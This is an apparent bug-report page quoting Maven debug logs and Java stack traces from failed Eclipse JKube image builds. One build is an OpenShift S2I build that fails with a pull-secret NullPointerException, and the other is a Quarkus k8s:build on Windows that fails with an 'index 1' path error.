[DEBUG]   Included: org.apache.commons:commons-lang3:jar:3.8.1
[DEBUG]   Included: org.apache.commons:commons-compress:jar:1.19
[DEBUG]   Included: commons-io:commons-io:jar:2.6
[DEBUG]   Included: com.google.guava:guava:jar:27.0-jre
[DEBUG]   Included: com.google.guava:failureaccess:jar:1.0
[DEBUG]   Included: com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava
[DEBUG]   Included: org.checkerframework:checker-qual:jar:2.5.2
[DEBUG]   Included: com.google.errorprone:error_prone_annotations:jar:2.2.0
[DEBUG]   Included: com.google.j2objc:j2objc-annotations:jar:1.1
[DEBUG]   Included: org.codehaus.mojo:animal-sniffer-annotations:jar:1.17
[DEBUG]   Included: com.fasterxml.jackson.core:jackson-core:jar:2.10.0
[DEBUG]   Included: com.fasterxml.jackson.core:jackson-databind:jar:2.10.0
[DEBUG]   Included: com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0
[DEBUG]   Included: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0
[DEBUG]   Included: org.yaml:snakeyaml:jar:1.25
[DEBUG]   Included: org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r
[DEBUG]   Included: com.jcraft:jsch:jar:0.1.54
[DEBUG]   Included: com.jcraft:jzlib:jar:1.1.1
[DEBUG]   Included: com.googlecode.javaewah:JavaEWAH:jar:1.1.6
[DEBUG]   Included: org.bouncycastle:bcpg-jdk15on:jar:1.60
[DEBUG]   Included: javax.validation:validation-api:jar:2.0.1.Final
[DEBUG]   Included: org.javassist:javassist:jar:3.20.0-GA
[DEBUG]   Included: com.networknt:json-schema-validator:jar:0.1.7
[DEBUG]   Included: org.slf4j:slf4j-ext:jar:1.7.25
[DEBUG]   Included: org.codehaus.plexus:plexus-interpolation:jar:1.24
[DEBUG]   Included: org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4
[DEBUG]   Included: org.sonatype.plexus:plexus-cipher:jar:1.4
[DEBUG]   Included: org.apache.maven:maven-builder-support:jar:3.5.4
[DEBUG]   Included: org.apache.maven.resolver:maven-resolver-util:jar:1.1.1
[DEBUG]   Included: org.apache.maven.shared:maven-shared-utils:jar:3.2.1
[DEBUG]   Included: javax.enterprise:cdi-api:jar:1.0
[DEBUG]   Included: org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3
[DEBUG]   Included: com.google.inject:guice:jar:no_aop:4.2.0
[DEBUG]   Included: aopalliance:aopalliance:jar:1.0
[DEBUG]   Included: org.codehaus.plexus:plexus-archiver:jar:3.5
[DEBUG]   Included: org.codehaus.plexus:plexus-utils:jar:3.0.24
[DEBUG]   Included: org.codehaus.plexus:plexus-io:jar:3.0.0
[DEBUG]   Included: org.iq80.snappy:snappy:jar:0.4
[DEBUG]   Included: org.tukaani:xz:jar:1.6
[DEBUG]   Included: org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1
[DEBUG]   Included: org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0
[DEBUG]   Included: org.apache.maven.shared:file-management:jar:3.0.0
[DEBUG]   Included: org.apache.maven.shared:maven-shared-io:jar:3.0.0
[DEBUG]   Included: org.apache.maven.shared:maven-filtering:jar:3.1.1
[DEBUG]   Included: org.sonatype.plexus:plexus-build-api:jar:0.0.7
[DEBUG]   Included: org.apache.maven:maven-archiver:jar:3.2.0
[DEBUG]   Included: org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0
[DEBUG]   Included: org.codehaus.plexus:plexus-component-annotations:jar:1.5.4
[DEBUG]   Included: org.sonatype.sisu:sisu-inject-bean:jar:1.4.2
[DEBUG]   Included: org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1
[DEBUG]   Included: org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0
[DEBUG]   Included: org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1
[DEBUG] Configuring mojo org.eclipse.jkube:oc-maven-plugin:0.1.1:build from plugin realm ClassRealm[plugin>org.eclipse.jkube:oc-maven-plugin:0.1.1, parent: sun.misc.Launcher$AppClassLoader@70dea4e]
[DEBUG] Configuring mojo 'org.eclipse.jkube:oc-maven-plugin:0.1.1:build' with basic configurator -->
[DEBUG]   (f) autoCreateCustomNetworks = false
[DEBUG]   (f) buildRecreate = none
[DEBUG]   (f) forcePull = false
[DEBUG]   (f) includes = [spring-boot]
[DEBUG]   (f) config = {spring-boot={alias=spring-boot, from=registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest}}
[DEBUG]   (f) generator = org.eclipse.jkube.kit.config.resource.ProcessorConfig@1ffcf674
[DEBUG]   (f) keepContainer = false
[DEBUG]   (f) keepRunning = false
[DEBUG]   (f) logStdout = false
[DEBUG]   (f) maxConnections = 100
[DEBUG]   (f) openshiftPullSecret = pullsecret-jkube
[DEBUG]   (f) outputDirectory = target/docker
[DEBUG]   (f) project = MavenProject: com.ibm.gts.aro:sample:0.0.1-SNAPSHOT @ /Users/[email protected]/IBM/customers/cibc/sample/pom.xml
[DEBUG]   (f) reactorProjects = [MavenProject: com.ibm.gts.aro:sample:0.0.1-SNAPSHOT @ /Users/[email protected]/IBM/customers/cibc/sample/pom.xml]
[DEBUG]   (f) removeVolumes = false
[DEBUG]   (f) resourceDir = /Users/[email protected]/IBM/customers/cibc/sample/src/main/jkube
[DEBUG]   (f) s2iImageStreamLookupPolicyLocal = true
[DEBUG]   (f) session = org.apache.maven.execution.MavenSession@7d070ef5
[DEBUG]   (f) settings = org.apache.maven.execution.SettingsAdapter@2e2f720
[DEBUG]   (f) skip = false
[DEBUG]   (f) skipBuild = false
[DEBUG]   (f) skipExtendedAuth = false
[DEBUG]   (f) skipMachine = false
[DEBUG]   (f) sourceDirectory = src/main/docker
[DEBUG]   (f) useColor = true
[DEBUG]   (f) useProjectClasspath = false
[DEBUG]   (f) verbose = false
[DEBUG]   (f) watchInterval = 5000
[DEBUG]   (f) watchMode = both
[DEBUG] -- end configuration --
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[INFO] oc: Running in OpenShift mode
[INFO] oc: Using OpenShift build with strategy S2I
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[INFO] oc: Running generator spring-boot
[DEBUG] readpipe [git, --version],/usr/bin
[DEBUG] readpipe may return 'git version 2.21.1 (Apple Git-122.3)'
[DEBUG] remaining output:

[DEBUG] readpipe [git, config, --system, --edit],/usr/bin
[DEBUG] readpipe may return '/private/etc/gitconfig'
[DEBUG] remaining output:

[INFO] oc: spring-boot: Using Docker image registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest as base / builder
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] Trying to configure client from Kubernetes config...
[DEBUG] Found for Kubernetes config at: [/Users/[email protected]/.kube/config].
[DEBUG] All known ContainerDescriptorHandler components: [metaInf-spring, plexus, file-aggregator, metaInf-services]
[DEBUG] FileSet[bin/] dir perms: -1 file perms: -1
[DEBUG] The archive base directory is 'null'
[DEBUG] FileSet[] dir perms: -1 file perms: -1
[DEBUG] The archive base directory is 'null'
[DEBUG] FileSet[] dir perms: -1 file perms: -1
[DEBUG] The archive base directory is 'null'
[DEBUG] NOT reformatting any files in /Users/[email protected]/IBM/customers/cibc/sample/target
[DEBUG] Adding file-set in: /Users/[email protected]/IBM/customers/cibc/sample/target to archive location: ./
[DEBUG] Adding exclude for assembly working-directory: docker/aro/sample/latest/work
File-Set source directory: /Users/[email protected]/IBM/customers/cibc/sample/target
[INFO] Copying files to /Users/[email protected]/IBM/customers/cibc/sample/target/docker/aro/sample/latest/build/maven
[INFO] Building tar: /Users/[email protected]/IBM/customers/cibc/sample/target/docker/aro/sample/latest/tmp/docker-build.tar
[DEBUG] Dockerfile already added, skipping
[INFO] oc: [aro/sample:latest] "spring-boot": Created docker source tar /Users/[email protected]/IBM/customers/cibc/sample/target/docker/aro/sample/latest/tmp/docker-build.tar
[ERROR] oc: Failed to execute the build [Unable to build the image using the OpenShift build service]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  8.636 s
[INFO] Finished at: 2020-03-04T22:53:40-06:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli) on project sample: Failed to execute the build: Unable to build the image using the OpenShift build service: NullPointerException -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli) on project sample: Failed to execute the build
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.MojoExecutionException: Failed to execute the build
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:690)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:513)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:657)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:105)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:132)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:72)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.eclipse.jkube.kit.config.service.JkubeServiceException: Unable to build the image using the OpenShift build service
    at org.eclipse.jkube.kit.config.service.openshift.OpenshiftBuildService.build (OpenshiftBuildService.java:140)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:687)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:513)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:657)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:105)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:132)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:72)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: java.lang.NullPointerException
    at org.eclipse.jkube.kit.config.service.openshift.OpenshiftBuildService.checkOrCreatePullSecret (OpenshiftBuildService.java:388)
    at org.eclipse.jkube.kit.config.service.openshift.OpenshiftBuildService.build (OpenshiftBuildService.java:114)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:687)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:513)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:657)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:105)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:132)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:72)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:956)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:288)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:192)
    at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:498)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR] 
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
โžœ  sample git:(master) โœ— 

Quarkus : Error while trying to build the image: Unexpected internal error near index 1

I want to build a docker image with the plugin k8s from a quarkus project but it failed.

I create a project : https://github.com/survivant/quarkus-k8s-hello

I generate the project from codeio and added one endpoint to call kubernetes to retreive namespace.

I'm on Windows 10.

when I enter the command :

mvn package k8s:build

C:\workspace\quarkus-k8s-hello>mvn package k8s:build -e
[INFO] Error stacktraces are turned on.
[INFO] Scanning for projects...
[INFO]
[INFO] ---------------------< ca.demo:quarkus-k8s-hello >----------------------
[INFO] Building quarkus-k8s-hello 1.0.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ quarkus-k8s-hello ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 2 resources
[INFO]
[INFO] --- maven-compiler-plugin:3.8.1:compile (default-compile) @ quarkus-k8s-hello ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ quarkus-k8s-hello ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] skip non existing resourceDirectory C:\workspace\quarkus-k8s-hello\src\test\resources
[INFO]
[INFO] --- maven-compiler-plugin:3.8.1:testCompile (default-testCompile) @ quarkus-k8s-hello ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- maven-surefire-plugin:2.22.1:test (default-test) @ quarkus-k8s-hello ---
[INFO] Surefire report directory: C:\workspace\quarkus-k8s-hello\target\surefire-reports
[INFO]
[INFO] -------------------------------------------------------
[INFO]  T E S T S
[INFO] -------------------------------------------------------
[INFO] Running ca.demo.HelloExampleTest
2020-03-19 10:29:13,457 INFO  [io.quarkus] (main) Quarkus 1.2.1.Final started in 1.410s. Listening on: http://127.0.0.1:8282
2020-03-19 10:29:13,460 INFO  [io.quarkus] (main) Profile test activated.
2020-03-19 10:29:13,460 INFO  [io.quarkus] (main) Installed features: [cdi, kubernetes-client, resteasy, resteasy-jsonb, smallrye-context-propagation, smallrye-fault-tolerance, smallrye-health, smallrye-metrics, smallrye-openapi, spring-boot-properties, swagger-ui]
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 5.733 s - in ca.demo.HelloExampleTest
2020-03-19 10:29:14,807 INFO  [io.quarkus] (main) Quarkus stopped in 0.049s
[INFO]
[INFO] Results:
[INFO]
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
[INFO]
[INFO]
[INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ quarkus-k8s-hello ---
[INFO]
[INFO] --- quarkus-maven-plugin:1.2.1.Final:build (default) @ quarkus-k8s-hello ---
[INFO] [org.jboss.threads] JBoss Threads version 3.0.0.Final
[INFO] Initializing dekorate session.
[INFO] Default s2i build generator....
[INFO] Registering s2i handler!
[INFO] Generating manifests.
[INFO] Processing kubernetes configuration.
[INFO] Processing openshift configuration.
[INFO] Processing s2i configuration.
[INFO] Closing dekorate session.
[INFO] [io.quarkus.deployment.pkg.steps.JarResultBuildStep] Building thin jar: C:\workspace\quarkus-k8s-hello\target\quarkus-k8s-hello-1.0.0-SNAPSHOT-runner.jar
[INFO] [io.quarkus.deployment.QuarkusAugmentor] Quarkus augmentation completed in 4446ms
[INFO]
[INFO] --- k8s-maven-plugin:0.2.0:build (default-cli) @ quarkus-k8s-hello ---
[INFO] k8s: Running in Kubernetes mode
[INFO] k8s: Building Docker image in Kubernetes mode
[INFO] k8s: Running generator quarkus
[ERROR] k8s: Failed to execute the build [Error while trying to build the image]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  19.607 s
[INFO] Finished at: 2020-03-19T10:29:24-04:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.2.0:build (default-cli) on project quarkus-k8s-hello: Failed to execute the build: Error while trying to build the image: Unexpected internal error near index 1
[ERROR] \
[ERROR] -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.2.0:build (default-cli) on project quarkus-k8s-hello: Failed to execute the build
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:566)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.MojoExecutionException: Failed to execute the build
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:718)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:526)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:685)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:79)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:107)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:52)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
    at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
    at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
    at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
    at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
    at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
    at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
    at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
    at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
    at jdk.internal.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
    at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke (Method.java:566)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
    at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
    at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
    at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.eclipse.jkube.kit.config.service.JKubeServiceException: Error while trying to build the image
    at org.eclipse.jkube.kit.config.service.kubernetes.DockerBuildService.build (DockerBuildService.java:54)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.buildAndTag (AbstractDockerMojo.java:715)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.processImageConfig (AbstractDockerMojo.java:526)
    at org.eclipse.jkube.maven.plugin.mojo.build.AbstractDockerMojo.executeBuildGoal (AbstractDockerMojo.java:685)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeInternal (BuildMojo.java:79)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.executeDockerBuild (BuildMojo.java:107)
    at org.eclipse.jkube.maven.plugin.mojo.build.BuildMojo.execute (BuildMojo.java:52)
    at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:137)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
    at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
